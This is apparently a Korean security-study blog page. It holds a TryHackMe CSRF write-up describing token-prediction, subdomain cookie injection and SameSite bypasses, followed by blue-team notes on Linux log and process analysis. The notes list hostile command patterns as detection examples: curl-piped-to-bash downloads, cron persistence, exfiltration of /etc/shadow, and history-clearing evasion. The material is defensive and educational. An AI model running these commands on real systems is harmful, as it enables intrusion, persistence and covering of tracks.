AnbyMata의 해킹 노트

[TryHackMe] CSRF

AnbyMata — Tue, 5 May 2026 23:46:32 +0900

TryHackMe - "CSRF". Write-up + Extra Study!

출처: https://tryhackme.com/room/csrfV2

CSRF

Learn how a CSRF vulnerability works and methods to exploit and defend against CSRF vulnerabilities.

tryhackme.com

[1] Overview of CSRF Attack

CSRF (Cross-site Request Forgery)

- 사용자가 로그인 상태를 악용해, 사용자 대신 요청을 보내는 공격

- 브라우저가 인증 정보 관련 쿠키를 자동으로 포함한다는 점을 악용

[1-1] CSRF 공격 흐름

1. 웹 애플리케이션의 요청 형식 파악

2. 사용자에게 악성 링크 전송 → 클릭 유도

3. 브라우저가 자동 포함한 쿠키를 포함해 공격자가 요청 전송

4. 서버가 정상 사용자의 요청으로 인색 → 요청 수행

[1-2] CSRF의 영향

- Unauthorized Access - 사용자 권한을 통한 계정 변경 등의 비인가 행동

- Exploiting Access - 사용자 신뢰를 악용한 보안 신뢰성 약화

- Stealthy Exploitation - 브라우저의 정상 동작을 이용하여 공격 탐지 어려움

[2] Types of CSRF Attack

[2-1] Traditional CSRF

- form 제출을 통해 상태를 변경하는 동작 state-changing actions에 집중

1. 로그인한 사용자에게 악성 링크 및 메일, form 전달

2. 사용자가 클릭

3. 브라우저가 자동으로 쿠키를 포함한 요청 전송

4. 서버가 정상 요청으로 인식 → 금액 송금, 계정 정보 수정, 이메일 변경 등을 수행

[2-2] XMLHttpRequest CSRF

- 전체 페이지 request-response 사이클 없이 동작이 수행될 때 발생

- XMLHttpRequest 또는 Fetch API를 이용한 asynchronous(비동기) 서버 통신을 사용하는 최신 웹 애플리케이션에서 흔히 발생

1. 로그인한 사용자에게 악성 페이지 접속 유도

2. 악성 페이지 접속 시, JavaScript가 AJAX 요청 생성

3. 브라우저가 자동으로 쿠키를 포함한 요청 전송

4. 서버가 정상 요청으로 인식 → 이메일 전달 설정 변경 → 공격자 주소로 메일 전달

[2-3] Flash-based CSRF

- Adobe Flash Player의 취약점을 악용한 공격

- 현재는 거의 사라짐 (Adobe Flash Player의 서비스 종료)

1. 사용자가 악성 사이트의 Flash 콘텐츠 실행

2. 악성 .swf 파일을 자신의 웹사이트에 업로드

3. Flash가 쿠키를 포함한 요청을 피해 사이트로 전송

4. 서버가 정상 요청으로 인식 → CSRF 공격 성공

[3] Basic CSRF - Hidden Link / Image Exploitation

Hidden link / Image Exploitation

- 인지하기 힘든 0x0 픽셀 이미지나 링크를 웹페이지에 삽입하는 공격

- 이미지의 src 또는 링크의 href 속성에 공격 URL을 삽입

[3-1] Hidden Link / Image Exploitation 실습

1) 피해자 로그인 상태

- 피해자는 메일 (mailbox.thm)을 확인하고, 은행 계정 (mybank.thm)에 로그인함

- 피해자는 항상 은행 (mybank.thm)에 로그인한 상태 유지

[보충 설명]
"GB82MYBANK5698" username으로 로그인한 계정은 피해자 Josh의 계정이 아닌 공격자의 계정입니다.

2) mybank.thm 취약점

- 공격자 자신의 은행 (mybank.thm) 계정을 통해 취약점 확인

→ 송금 시 요청 검증을 위한 추가적인 파라미터가 없음을 확인

→ URL만으로 송금 가능

3) 악성 링크를 포함한 이메일 전송

- 피해자의 클릭을 유도하는 이메일 전송 (경품 당첨!)

- "Click Here to Redeem" 버튼을 누르면, 은행 송금 페이지 링크로 연결됨

4) 공격 성공 여부

(4-1) 피해자가 은행 (mybank.thm)에 로그인을 안 한 상태

= 은행 송금 페이지로 이동을 하더라도, 로그인이 안되어 있어 로그인 창으로 이동

(4-2) 피해자가 은행 (mybank.thm)에 로그인을 한 상태

= 쿠키에 있던 로그인 정보를 통해 공격자에게 자동 송금 완료

(4-3) 은행 (mybank.thm) 사이트에 검증을 위한 별도의 CSRF 토큰이 존재

= 서버가 CSRF 토큰이 포함되지 않음을 확인 → 송금 이루어지지 않음

[4] Double Submit Cookie Bypass

CSRF token

- 요청 출처를 검증하기 위한 hidden parameter

- 고유한 예측 불가능한 값

Double Submit Cookie 기법

- 쿠키 값과 hidden form 필드 값이 일치하는지 확인하는 검증 장치

[4-1] Double Submit Cookies 작동 흐름

1. Token Generation

- 사용자가 로그인 or 세션 시작 시, 서버가 고유한 CSRF 토큰 생성

- cookie와 web form의 hidden field 두 가지 형태로 사용자 브라우저에 전달

2. User Action

- 사용자가 hidden CSRF 토큰이 포함된 form 작성

3. Form Submission

- 쿠키에 포함된 토큰과 form 데이터에 포한된 토큰을 서버로 전송

4. Server Validation

- 서버가 cookie의 CSRF 토큰과 form 데이터의 토큰이 일치하는지 확인

[4-2] Double Submit Cookie 우회 방법

Session Cookie Hijacking (MITM 공격)

- CSRF 토큰의 보호가 약함 → 악성코드, 네트워크 sniffing 등으로 토큰 탈취

Same-Origin Policy 우회

- 부모 도메인에 쿠키 설정이 가능한 공격자의 subdomain으로 요청 보내도록 유도

XSS 취약점 악용

- XSS 취약점을 활용해 cookie 또는 CSRF 토큰 탈취

CSRF 토큰 예측

- 토큰의 생성 과정에 개입 및 생성 패턴 단순 → 토큰을 추측하거나 변조

Subdomain Cookie Injection

- 공격자의 subdomain을 통해 사용자 브라우저에 위조된 cookie 주입 → 서버가 정상 cookie로 인식

[4-3] Reversing Token generation + Subdomain Cookie Injection

1) CSRF 토큰 분석

- 공격자 계정으로 은행 (mybank.thm) 사이트의 토큰 분석

- 비밀번호 변경 form에 CSRF Token 존재함

= 브라우저 cookie에 `csrf-token`과 `PHPSESSID` 존재함

[보충 설명]
피해자 Josh의 쿠키는 [3-1] 실습에서 자동 송금되었을 때, 자동 로그인된 화면에서 f12 (개발자 도구)에 들어가 확인할 수 있습니다.

2) 가짜 비밀번호 변경 form 생성

- `csrf-token`가 Base64로 인코딩되었음을 확인 →CyberChef로 디코딩 → 디코딩 결과가 계좌번호 → 예측 가능

- 이를 통해 CSRF 토큰 생성

- 공격자 사이트 (attacker.mybank.thm)에 CSRF 토큰이 포함된 가짜 비밀번호 변경 form 생성

[보충 설명]
현재 공격자의 사이트 `attacker.mybank.thm`은 은행 사이트인 `mybank.thm`의 subdomain입니다.
현재 예시에서는 공격자가 DNS/서버 설정 권한을 통해 새로 만든 케이스입니다.
XSS 취약점 등을 이용하거나 기존에 방치된 subdomain을 장악하여 사용할 수도 있습니다.

3) 피싱 메일 전송

- "비밀번호 변경 필요" 등의 메일을 보내 클릭 유도

4) Cookie Injection + Auto Submit

- auto-submit(자동 전송) 코드 때문에 링크를 누르는 순간 비밀번호 변경 form이 자동 전송됨

- 같은 도메인 계열임을 이용해 subdomain인 `attacker.mybank.thm`에서 `mybank.thm`에 쿠키를 주입 및 설정

[보충 설명]
링크 클릭 후, 나오는 비밀번호 자동 기억 팝업 창에서 변경된 비밀번호를 확인할 수 있습니다

5) 공격 성공

- Form token과 Cookie token이 같아 서버가 정상 요청으로 판단 (둘다 공격자가 만든 토큰)

- 피해자의 비밀번호를 변경해 계정 탈취 성공

[5] Samesite Cookie Bypass

Samesite Cookie

- cross-site 요청 시, 브라우저 쿠키의 전송 여부를 결정

- cross-origin 데이터 유출, CSRF, XSS 방어에 효과적

[5-1] SameSite 속성의 3가지 값

1. Lax

- 적당한 수준의 보호

- cookie는 top-level naviagtion(링크 클릭)이나 안전한 HTTP 메서드 (GET, HEAD, OPTIONS)에서 전송됨

- cross-origin POST 요청에는 쿠키가 포함되지 않음 → CSRF 공격 방어

- 외부 사이트의 GET 요청에는 쿠키가 포함

[보충 설명]
top-level navigation = 브라우저 주소창이 바뀌는 이동
실습에서는 "https://mybank.thm/logout.pnp" 페이지, 즉, 아예 다른 페이지로 이동하며 주소창 URL이 변경됩니다.
이러한 상황이 top-level navigation 입니다.

GET 요청 = 페이지 이동, 링크 클릭
POST 요청 = 데이터 전송

2. Strict

- 가장 강력한 보호

- 같은 origin(사이트)의 요청에만 쿠키 포함

3. None

- 모든 요청에 쿠키 포함 = same-site와 cross-site 요청 모두에서 쿠키 포함

- HTTPS 환경에서 Secure 속성이 있어야 안전 → 암호화된 연결에서만 전송되도록 함

[5-2] SameSite=Lax 쿠키 환경 CSRF Exploit

1) SameSite 속성 확인

- [4-3] 에서 변경한 비밀번호로 Josh 계정 로그인

- `logout` 쿠키의 SameSite 속성 확인

= `logout` cookie의 SameSite 속성은 Lax

→ top-level navigation GET 요청에는 cookie 보냄 = CSRF 가능

2) 피해자의 은행 사이트 로그아웃 유도

- 피해자는 새 비밀번호를 몰라 재로그인 불가 → 공격자가 계정 통제

- 링크 클릭을 유도하는 메일 전송

= "Survey Link" 클릭하는 순간, 피해자는 은행 (mybank.thm) 사이트에서 로그아웃 됨

[보충 설명]
"Survey Link"를 클릭하면, 브라우저가 `mybank.thm/logout.php" 라는 로그아웃 페이지로 이동합니다.
이는 GET 요청이기 때문에, SameSite=Lax 속성인 logout 쿠키가 같이 전송됩니다.
같이 전송된 logout 쿠키 때문에 서버는 정상 요청으로 인식하여 피해자가 은행 사이트에서 로그아웃됩니다.

3) 피해자 계정 차단하기

- `isBanned` 쿠키가 "true" → 피해자 계정 차단

여기서 logout 쿠키 값도 변경할 수 있습니다!

= POST 요청으로 `isBanned=true` 갱신

- 쿠키가 최근 2분 내에 생성 및 수정 → 일시적으로 `SameSite=None`처럼 동작 → 일시적으로 POST 요청 가능

4) 공격 성공 여부 파악

- Test Scenario - LAX+POST! 메일의 "Test Attack - Successful" 버튼을 눌러 피해자 계정의 차단 여부 확인

[6] Few Additional Exploitation Techniques

[6-1] XMLHttpRequest Exploitation

- 공격자가 사용자 몰래 사용자가 로그인한 웹사이트로 AJAX 요청을 보냄

- 기존의 form 제출 역할을 JavaScript AJAX 요청으로 수행

- SOP (Same-Origin Policy)는 응답 읽기를 막는 정책이라 JS를 읽을 수 없어 cross-origin 요청 금지를 우회함

[6-2] Same Origin Policy (SOP) and Cross-Origin Resource Sharing (CORS) Bypass

- 사용자의 브라우저를 속여 현재 접속한 사이트가 아닌 다른 웹사이트로 요청을 보냄

- CORS 정책 = 허용된 origin에서만 요청 허용

- `header('Access-Control-Allow-Origin: *')` 로 인해 모든 origin의 요청을 허용하면서 취약점 발생

[보충 설명]
`Access-Control-Allow-Origin: *` = 어떤 origin (도메인)에서 요청이 와도 허용
`Access-Control-Allow-Credentials: true` = 쿠키/세션을 포함한 요청도 허용
→ 절대 이 둘을 같이 사용하면 안됩니다

[6-3] Referer Header Bypass

- HTTP 요청 시, `Referer` 헤더에는 현재 요청 직전에 방문한 페이지 URL이 포함됨

→ Referer가 우리 도메인과 일치할 때만 요청 허용하는 웹사이트들 존재함

- Referer 헤더는 브라우저 확장 프로그램, privacy tool, Referer를 생략하는 meta tag 등으로 변경 및 제거 가능

→ `Referer`만으로는 CSRF 방어 불충분

[7] Defence Mechanisms

[7-1] Pentesters / Red Teamers

- CSRF Testing = 비인가 요청을 실제로 실행 → CSRF 취약점 존재 확인

- Boundary Validation = 입력값 검증 및 CSRF 토큰 존재/검증 여부 확인

- Security Headers Analysis = CORS, Refere 등 보안 Header 설정 점검

- Session Management Testing = 세션 토큰이 안전하게 생성/전송/검증 되는지 확인

- CSRF Exploitation Scenarios = 이미지 태그, 숨겨진 요청 등 다양한 공격 시나리오 테스트

[7-2] Secure Coders

- Anti-CSRF Tokens = 예측 불가능한 토큰 적용

- SameSite Cookie Attribute = `Strict` 또는 `Lax`로 설정하여 cookie 전송 제한

- Referrer Policy = Referer 정보 제한 및 신뢰된 요청만 허용하게끔 설정

- Content Security Policy (CSP) = 신뢰된 스크립트만 실행되도록 설정

- Double Submit Cookie Pattern = cookie와 요청 파라미터 토큰 비교로 검증

- CAPTCHA 적용 = 자동 공격 방지

[TryHackMe] CSRF. Finish!

[Blue Team] EP.10 - 프로세스 / 명령 / 파일 / 네트워크 분석

AnbyMata — Fri, 1 May 2026 22:00:32 +0900

[10-1] 프로세서와 명령 로그의 정보

프로세스와 명령 로그 = 공격자의 실제 행위 흔적

- 실행 파일 경로 : 정상 (`/usr/bin`), 의심 (`/tmp`, `/dev/shm`)

- 명령 인자 : 실행한 옵션 및 대상 (파일 다운로드, 특정 IP 접속...)

- 부모-자식 관계 (PPID) : 프로세스를 실행한 근원 추적 = 공격 흐름 추적

- UID / EUID : 실행한 권한 파악 = 권한 상승 여부 확인

각 공격 단계의 명령어들

1. Reconnaissance (정찰)

- `id`, `whoami`, `uname -a`, `ps`, `netstat`

→ 시스템/네트워크 정보 수집

2. Execution (실행)

- `bash`, `sh`, `python3`, `perl`

→ 악성 코드 실행

3. Download (도구 확보)

- `curl`, `wget`, `scp`, `sftp`

→ 외부에서 파일 가져오기

4. Persistence (지속성 확보)

- `crontab`, `systemctl enable`, `useradd`

→ 재부팅 후에도 유지

5. Exfiltration (정보 유출)

- `scp`, `rsync`, `curl -F`, `nc`

→ 데이터 외부로 전송

[10-2] bash_history 한계점

bash_history = 사용자가 터미널에서 입력한 명령어 기록 파일

우회 방법

- 비대화형 shell (ex. 스크립트 실행) → 기록 안 남음

- 환경변수 조작 (`HISFILE=unset`) → 기록 비활성화

- 기록 타이밍 → 세션 종료 시점에 저장 (실시간이 아님)

- 우회 실행 (`sh script.sh`) → 기록이 안 남을 수 있음

- 삭제 → `history -c`, `.bash_history` 파일 삭제

보강 방법

- auditd (execve) : 커널 레벨 명령 실행 기록 → 삭제/조작 어려움

- EDR Telemetry : 부모-자식 프로세스 + 전체 커맨드 라인

- sudo 로그 : 권한 상승 흔적 (auth.log)

- 서비스 로그 (journald, nginx, cron) : 서비스/시스템 단위 행위 확인

[10-3] 외부 파일 이동 흔적

`curl` / `wget` = 파일 다운로드 / HTTP 통신

`scp` / `sftp` = 원격 서버와 파일 전송

위험 패턴

- `curl http://[외부IP]/a.sh | bash`

→ 외부 IP에서 스크립트 다운 후 즉시 실행

- `/tmp`, `/dev/shm`, `/var/tmp` 등의 비정상 경로 저장

→ 임시 및 은닉의 목적

- `/etc/passwd`, `/etc/shadow` 등을 POST 요청으로 업로드

→ 민감 정보 외부 전송

- `scp user@IP:path`

→ 원격 서버로 파일 전송 → 데이터 유출 가능성

[10-4] 즉시 실행 & 은닉 실행 패턴

1. `curl`

- 외부에서 데이터/파일 다운로드

- HTTP 요청 가능 → 유출에도 사용

2. `chmod +x`

- 파일에 실행 권한 부여

- 다운로드 파일을 즉시 실행 가능 상태로 변경

3. `sh -c` / `bash -c`

- 문자열을 명령으로 직접 실행
- 파일 없이 코드 실행 가능

4. `nohup &`

- 백그라운드 실행
- 터미널 종료 후에도 계속 실행됨

5. `/dev/null`

- 출력/에러를 버림 → 로그 숨기기

6. `base64 -d`

- 인코딩된 문자열을 디코딩

- 내용을 숨겨 탐지 우회

[10-5] 위험 경로 & 숨김 파일

`/tmp`

- 모든 사용자에게 쓰기 기능 주어짐

- 재부팅 시 초기화 → 임시 실행 / 악성 스크립트 투하 위치

`/var/tmp`

- `/tmp`와 유사하지만, 재부팅 시에도 유지됨 → 지속성 확보용 경로

`/dev/shm`

- 메모리 기반 파일 시스템

- 디스크에 흔적 거의 없음 → 포렌식 회피

dot file (`.`으로 시작하는 파일)

- 기본 `ls`에서 안보임 → 숨겨진 파일 저장

탐지 명령

`find /tmp /var/tmp /dev/shm -type f -perm /111`

- `/tmp`, `/var/tmp`, `/dev/shm`에서 실행 권한 있는 파일 찾기

`find /tmp /home -name ".*" -type f`

- 이름이 `.`로 시작하는 숨겨진 파일 찾기

`find /tmp -mtime -1 -ls`

- `/tmp`에서 최근에 변경된 파일 찾기

[10-6] 지속성(Persistence) 확보

1. cron (반복 실행)

- 일정 주기로 자동 실행 → 백도어 계속 유지

- `(root) CMD (curl [외부_URL] | bash)`

- `(root) CMD ([/tmp_경로] >/dev/null 2>&1)`

2. systemctl (서비스 등록)

- 서비스로 등록 → 재부팅 후에도 실행

- ExecStart=/tmp/... 설정

- systemctl enable 설정

- Restart=always 설정

[10-7] 공격 흐름

1. auth.log - 로그인 성공

2. sudo.log - root 권한 획득

3. auditd - `curl`로 파일 다운로드

4. auditd - `chmod` + 실행

5. cron - 지속 실행 확보

6. network - 외부 C2 연결

[Blue Team] EP.10 - 프로세스 / 명령 / 파일 / 네트워크 분석. END.

[Blue Team] EP.9 - 권한 상승 분석

AnbyMata — Fri, 24 Apr 2026 22:00:55 +0900

[9-1] 로그인 직후 권한 상승을 시도하는 이유

일반 사용자 권한의 제한

- 시스템 설정 불가 - 핵심 설정 파일을 수정해 백도어를 심는 보안 기능 무력화 행위 불가능

- 접근 제한 - 다른 사용자의 데이터나 민감한 시스템 파일 접근 불가능

- 서비스 제어 제한 - 새로운 악성 서비스 설치 및 기존 보안 서비스 중지 불가능

- 흔적 은폐 불가 - 시스템의 Audit Log(감사 로그)를 임의로 변경 및 삭제 불가능

root(관리자) 권한으로 가능한 것들

- 자유로운 파일 조작 - 시스템 내 모든 파일 조작 가능

- 커널 및 서비스 장악 - 커널 모듈을 로드하여 탐지가 힘든 루트킷 설치 및 서비스 조작 가능

- 계정 관리 - 새로운 관리자 계정 생성 및 sudoers 파일을 변경해 권한 고착화 가능

- 네트워크 제어 - 방화벽 설정을 조작해 외부와의 연결 통로 확보 및 네트워크 통신 감시

- 로그 삭제 - 모든 Audit Log(감사 로그) 삭제 및 조작을 통해 흔적 삭제

[9-2] sudo 로그

[sudo 로그 구성 요소]

- 실행자 (anbymata): 명령을 입력한 사용자 계정

- 터미널 (TTY=pts/0): 원격 SSH 세션을 통해 접속 중

- 작업 경로 (PWD=/home/main/policy): 해당 명령이 실행된 현재 디렉토리 위치

- 목표 권한 (USER=root): 명령이 실행될 때 빌려온 대상 권한 (주로 root)

- 실행 명령 (COMMAND=/usr/bin/apt update): 실제로 수행된 최종 행위

정상 명령들

- `COMMAND=/usr/bin/apt update`

- `COMMAND=/usr/bin/systemctl restart nginx`

- `COMMAND=/usr/bin/tail -n 100 /var/log/nginx/error.log`

→ 정기적인 패치나 사전에 승인된 서비스 관리 작업

주의 명령들

- `COMMAND=/usr/sbin/useradd -m backupavc`

→ 미승인 관리자 계정 생성 시도

- `COMMAND=/bin/bash`

→ root 쉘 직접 획득 (가장 위험)

- `COMMAND=/bin/chmod 777 /etc/sudoers`

→ 권한 체계 무력화 및 고착화 시도

- `COMMAND=/bin/curl -faSL https://.../a.sh`

→ 외부에서 악성 스크립트를 다운로드하여 즉시 실행

[9-3] 다른 권한 전환 경로

`su` (Switch User) - 세션 전환의 기본

- 다른 사용자로 세션을 완전히 전환하는 방식

- 주로 `su -`를 통해 환경 변수까지 root로 전환

- 실행 시 대상 계정의 비밀번호 필요

- 로그는 주로 `/var/log/auth.log` 또는 `/var/log/secure`에 기록됨

- 성공 시 "session opened for user root"와 같은 메시지 남음

`pkexec` (PolicyKit) - GUI 취약점

- Desktop/GUI 환경에서 주로 사용되는 PolicyKit 기반의 권한 실행 도구

- 취약점 악용 시 일반적인 auth.log 에 기록되지 않을 수 있음

- auditd 나 EDR을 통한 보강이 필요

`auditd` 보강 - 커널 수준의 강력한 감시

- evecve 시스템 콜을 추적해 명령 실행 인자를 모두 기록

- 사용자의 실제 ID (auid)와 유효 ID (euid)의 변화를 실시간으로 기록해 로그 삭제 및 우회가 어려움

[9-4] Persistence(지속성 유지) 및 구조적 권한 고착화 전략

공격자가 root 쉘을 얻은 후, 언제든 재진입할 수 있도록 수행하는 전략

1. 새 계정 생성과 그룹 추가

- 정상 계정처럼 위장한 새로운 관리자 계정을 몰래 생성

- 대응 방법:

+ 계정 생성 직후 외부 IP에서 해당 계정으로의 로그인 성공(Accepted password)이 발생

+ `useradd` 로그 - 새로운 사용자가 생성된 시점과 승인 이력 대조

+ `usermod` 로그 - 생성된 계정이 즉시 sudo나 wheel 같은 관리자 그룹에 추가되는지 감시

2. sudoers 변경과 `etc/sudoers.d` 조작

- 비밀번호 없이 관리자 권한 사용을 위해 권한 체계를 구조적으로 변조

- `NOPASSWD:ALL` 설정은 특정 계정이 비밀번호 없이 모든 명령을 root 권한으로 실행할 수 있게 함

- 대응 방법:

+ visudo 실행 흔적이나 `/etc/sudoers.d/` 경로에 새 파일 생성 여부 확인

+ 파일 mtime(수정 시간)을 체크하여 미승인 시점에 변경되었는지 확인

3. SSH 키 기반 지속성: authorized_keys 추가

- SSH 공개키가 남아있으면 계정의 비밀번호가 바뀌어도 다시 들어올 수 있음

- auth.log 에는 "Accepted publickey"라는 성공 로그만 남아 정상 사용자와 구분이 힘듬

- 대응 방법:

+ auditd watch 설정을 통해 `.ssh/authorized_keys`파일의 쓰기 행위를 실시간 감시

+ 침해 대응 시 root, deploy, devops 등 주요 계정의 키 파일을 점검

4. cron, systemd를 통한 주기적 지속성

- 시스템이 재부팅되어도 주기적으로 살아나는 구조

- cron - 외부 URL에서 악성 스크립트를 받아 쉘로 실행하는 명령을 등록

- systemd - 정상 서비스로 위장한 유닛 파일을 생성하여 악성 파일을 자동 실행

- 대응 방법:

+ 실행 대상 파일의 경로 ( /tmp, /dev/shm...)와 등록 주체 (root)를 함께 분석

[Blue Team] EP.9 - 권한 상승 분석. END.

[Blue Team] EP.8 - 로그인 및 인증 로그 분석

AnbyMata — Wed, 22 Apr 2026 22:00:44 +0900

[8-1] SSH 실패 vs SSH 성공

이상 패턴 (Red Flags)

- Brute Force = 단시간에 다수의 실패 후 로그인 성공

- Scanning = 존재하지 않는 계정을 포함한 다양한 계정명 시도

- Post-Exploitation = 로그인 직후 sudo, 파일 다운도르, 지속성 확보 행위

SSH 실패 로그

- invalid user = 시스템에 존재하니 않는 계정으로 접속 시도 → 자동화된 스캔 도구에 의한 목록 기반 공격 가능성

- 출발지 IP = 외부 IP에서 직접 시도되는 invalid user 접근 → 100% 차단 및 모니터링 대상

SSH 성공 로그

- password = 탈취 위험이 상대적으로 높은 인증 방식 → 실패 횟수가 많다면 계정 탈취 가능성이 높음

- publickey = 비교적 안전한 인증 방식 → 탈취된 키의 악용이나 authorized_keys 파일의 변조 여부 확인 필요

[8-2] 운영 오류들

Brute Force (무차별 대입 공격)

- 특정 계정의 비밀번호를 알아내기 위해 모든 조합을 시도하는 방식

= 한 계정 + 다수 비밀번호

- root 와 같은 특정 대상 계정에 대해 짧은 시간 동안 수백 번 이상의 실패 로그 발생

- 출발지 IP가 소수이고, 특정 계정 하나만을 집요하게 노림

Password Spraying (패스워드 스프레이 공격)

- 보안 정책 회피를 위해, 흔히 사용되는 비밀번호 몇 개를 수많은 계정에 대입해보는 방식

= 다수 계정 + 소수 비밀번호

- 여러 계정에 대해 실패 로그가 산발적으로 발생

- 시도 간격이 느려 탐지가 까다로움

- 동일 IP에서 여러 계정으로 로그인 시도 패턴이 보임

Operational Error (운영 오류)

- 공격이 아닌, 시스템 내부 설정이나 서비스 계정의 인증 정보 불일치 시 발생하는 현상

= 내부 서버 + 서비스 계정

- `backup-svc`와 같은 특정 서비스 계정에서 일정한 시간 간격으로 실패 반복

- 출발지가 내부 IP이거나 특정 주기성을 가지고 반복됨

[8-3] 키 기반 인증 (Key-based Authentication) 환경 분석

[ `authorized_keys` 변경 위험 ]

공격자가 서버에 접근한 뒤, 자신의 공개키를 `~/.ssh/authorized_keys`파일에 추가하면 생기는 문제점

→ 재진입 가능 = 사용자가 비밀번호를 변경해도 공격자는 키를 통해 언제든 로그인 가능

→ 가시성 부재 = auth.log(표준 인증 로그)에는 정상 사용자의 키인지 탈취된 키인지 직접 기록 안 됨

→ 보강 필수 = 텍스트 로그만으론 부족해 auditd, FIM, EDR 등의 보강 필요

[ 분석 흐름 ]

1. Accepted publickey 확인

- 인증 성공 로그 포착 후, 해당 사용자의 키 인증 패턴이 평소와 맞는지 확인

2. authorized_keys 파일 점검

- mtime(파일의 수정 시간)을 확인해 변경 여부 파악

- auditd 감사 로그가 있다면, 파일을 건드린 사용자를 역추적함

3. key fingerprint 비교

- 로그에 기록된 key의 fingerprint를 사전에 등록된 정상 키 목록과 대조하여 미인가 키인지 판별

4. 직전 sudo/권한 상승 추적

- 키가 심어지기 전, 비정상적인 권한 상승(sudo)이나 설정 변경 행위가 있었는지 확인

[8-4] 세션 관점의 데이터 확보

last (로그인 성공 기록 + 세션 지속 시간)

- 과거부터 현재까지의 전체 로그인/로그아웃 이력 조회

→ 특정 사용자의 세션의 유지 기간을 확인

lastb (실패 패턴 흔적)

- 실패한 로그인 시도만 기록된 `/var/log/btmp` 파일 조회

→ 특정 IP에서 반복되는 brute force 공격의 흔적을 빠르게 식별

who / w (현재 접속 중인 사용자 확인)

- 현재 시스템에 로그인해 있는 사용자 목록 조회

→ 사고 의심 시 생존해있는 세션을 확인하여 대응 우선순위 결정

[Blue Team] EP.8 - 로그인 및 인증 로그 분석. END.

[Blue Team] EP.7 - Linux 로그 구조 및 파일 체계

AnbyMata — Mon, 20 Apr 2026 22:00:17 +0900

[7-1] Linux 로그의 기본 지도 - /var/log

인증 및 권한 (Auth & Permission)

- /var/log/auth.log (Ubuntu/Debian) & /var/log/secure (RHEL 계열)

→ 사용자 로그인 성공/실패, sudo 권한 상승, su 전환 등 인증과 관련된 기록들

시스템 및 서비스 (System & Service)

- /var/log/syslog (Ubuntu/Debian) & /var/log/messages (RHEL 계열)

→ 시스템 전반의 운영 메시지 및 커널 로그 기록들

- /var/log/kern.log (Ubuntu/Debian) & /var/log/dmesg (RHEL 계열)

→ 커널 수준에서 발생하는 하드웨어 및 드라이버 관련 메시지

- journalctl

→ systemd 기반의 바이너리 로그를 조회하는 도구.

→ 전통적인 파일 로그에 남지 않은 서비스 단위의 상세 내역 확인에 사용

감사 및 행위 (Audit & Behavior)

- /var/log/audit/audit.log

→ auditd 서비스가 기록하는 커널 수준의 감사 로그 기록들

→ 파일 접근이나 명령어 실행등의 정밀 분석에 사용

- ~/.bash_history

→ 사용자가 shell에서 입력한 명령어 기록들

→ 조작 가능성이 높아 보조 지표로만 사용

세션 및 접속 기록 (Session Records)

- /var/log/wtmp

→ 과거 및 현재의 로그인/로그아웃 전체 기록

- /var/log/btmp

→ 실패한 로그인 시도들만 기록

→ brute force 공격 탐지에 효과적

- /var/log/lastlog

→ 계정별 마지막 로그인 시각

[7-2] auth.log / secure 주요 기록

- SSH 인증 실패 (Failed password, Failed publickey)

+ invalid user(외부 IP가 존재하니 않는 계정)이나 root(관리자 계정)으로 접속 시도

+ brute force (무차별 대입) 공격의 직접적인 증거

- SSH 인증 성공 (Accepted password, Accepted publickey)

+ 인증이 성공하여 세션이 열린 기록

+ 평소와 다른 시간대나 생소한 IP에서의 인증 성공은 계정 탈취의 가능성일 수 있음

- 권한 상승 및 전환 (sudo, su)

+ 일반 사용자가 관리자 권한을 획득하거나 다른 계정으로 전환한 기록

- PAM 및 세션 관련 메시지

+ 계정 잠금, 정책 위반 기록

+ 세션의 시작과 종료 (session opened/closed)를 기록하여 공격자의 체류 시간 파악

[7-3] syslog / messages 주요 기록

- 서비스 운영 및 프로세스 실행 추적

+ systemd나 각종 데몬의 시작/중지 이력 및 서비스 제어 기록

→ auth.log 에서 성공한 로그인 시점 확인 후, 같은 시각 syslog 에서 어떤 서비스나 의심스러운 프로세스가 설행되었는지 대조하여 로그인 직후의 행위를 추적

- 스케줄러 (cron) 기반 지속성 감시

+ 예약된 스케줄러 (cron)가 실행된 시점과 실행된 명령어 기록

→ 야간, 주말 등의 취약 시간대에 실행된 비정상적인 cron 기록을 통해 공격자가 재부팅 후에도 권한 유지를 위해 심어둔 persistence(지속성 유지) 수단을 찾음

- 시스템 이상 징후 및 장애 분석

+ 서비스 장애, 커널 오류, 네트워크 상태 변경 등 시스템의 전반적인 오류와 경고 메시지 기록

→ 서비스의 갑작스런 재시작 또는 로그 삭제 시도 흔적이 공격자의 활동 시간과 일치하는지 확인해 안과관계 증명

- 애플리케이션 계층 공격 탐지

+ Nginx나 Apache 같은 웹 서버가 syslog 로 보내는 상세 에러 메시지 기록

→ 웹 서비스 공격 (access.log) 징후가 보이면, 즉시 syslog 에서 관련 서비스의 비정상 종료나 상세 에러를 확인해 공격의 실체와 성공 여부 파악

[7-4] journalctl

- journalctl = systemd-journald 서비스가 수집한 바이러이 형식의 로그를 조회하는 도구

- 공격자가 흔적 제거를 위해 /var/log/auth.log 같은 텍스트 파일을 삭제해도 바이너리 저널에 원본이 남아 있을 수 있음

- 서비스별 깔끔한 필터링 가능

- 부팅 세션별로 로그가 구분되어 사고 타임라인 구성이 편리

- 기본 설정에 따라 재부팅 시 로그 소실 가능

- 보통 SIEM 수집기는 파일 로그 기반이라, 저널 로그가 텍스트 파일로 정상 전달되는지 점검 필요

journalctl 주요 명령어

1. 침투 흔적 및 실시간 모니터링

- `journalctl -xe`

→ 시스템의 최신 이벤트와 상세 오류 메시지 함께 확인

- `journalctl -u sshd`

→ SSH 서비스 관련 로그만 필터링하여 조회

2. 특정 시간대 및 조건별 추적

- `journalctl -u cron --since "2026-04-20 00:00:00"`

→ 특정 시점 이후의 예약 작업 실행 기록 확인

- `journalctl _COMM=sudo`

→ sudo 명령을 실행한 기록만 필터링하여 조회

- `journalctl -k`

→ kernel에서 발생하는 이벤트만 필터링하여 조회

3. 시스템 부팅 및 오류 세션 분석

- `journalctl -b`

→ 현제 부팅 세션의 전체 로그 확인

- `journalctl -b -1`

→ 재부팅 직전 시점의 로그 확인

- `journalctl -p err -n 50`

→ 가장 최근 발생한 에러(err) 등급 이상의 로그 50줄 조회

[7-5] wtmp / btmp / utmp

- 리눅스는 텍스트 로그 (auth.log, secure)와 별개로, 로그인 세션 정보를 Binary 형식으로 별도 저장함

wtmp ( last 명령어 )

- 시스템의 모든 로그인 및 로그아웃 전체 기록

btmp ( lastb 명령어 )

- 실패한 로그인 시도만 기록

utmp / who ( w 명령어 )

- 지금 현재 시스템에 로그인해 있는 현재 세션 정보 조회

[7-6] auditd / audit.log

auditd 장점

- 실행 명령 및 인자 전체 기록 (type=EXECVE)

